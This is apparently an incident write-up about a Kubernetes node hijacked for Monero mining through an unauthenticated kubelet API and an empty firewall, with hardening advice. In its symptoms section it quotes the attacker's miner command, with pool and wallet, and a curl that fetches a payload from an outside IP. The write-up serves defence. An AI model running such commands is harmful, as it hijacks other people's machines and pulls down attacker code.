Misconfigured Kubelet Triggered Crypto‑Mining Breach – Secure Your Cluster Now

Incident Overview

Recently a self‑built Kubernetes cluster suffered a breach where one node was hijacked for cryptocurrency mining. The attacker used a Monero miner command and fetched additional payloads, but the damage was limited to mining activity.

Symptoms of Intrusion

Abnormal processes were observed on the affected machine, including the following commands:

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm</code><code>curl -s http://45.9.148.35/scan_threads.dat

The node was being used solely for mining.

Root Cause Investigation

Empty iptables

The host had no firewall rules (iptables empty), leaving it exposed.

Kubelet exposed

Further investigation revealed that the kubelet API was accessible without authentication. Logs showed suspicious entries, and the kubelet startup configuration had a critical line commented out, disabling the restriction on anonymous access.

The misconfiguration allowed direct access to the kubelet API, effectively giving the attacker control over Docker on the node.

The commented line in the kubelet startup file prevented the enforcement of the "anonymous access disabled" setting.

Consequently, the node ran without proper authentication checks.

Remediation and Hardening Recommendations

Enforce host‑level firewall rules: default‑deny all ports and only open required ports after manual verification.

Avoid exposing public IPs for internal nodes; keep them private to reduce attack surface.

Bind kubelet and other services to internal IPs instead of 0.0.0.0.

Disable anonymous access to kubelet and implement proper authentication/authorization mechanisms.

Adopt scripted, auditable procedures for production changes rather than manual ad‑hoc commands.

Conclusion

The breach demonstrated how multiple security lapses—empty firewall, exposed kubelet, and a mis‑commented configuration—can combine to allow an attacker to gain full control over a node. Prompt detection, container isolation, and the hardening steps above are essential to protect Kubernetes clusters from similar compromises.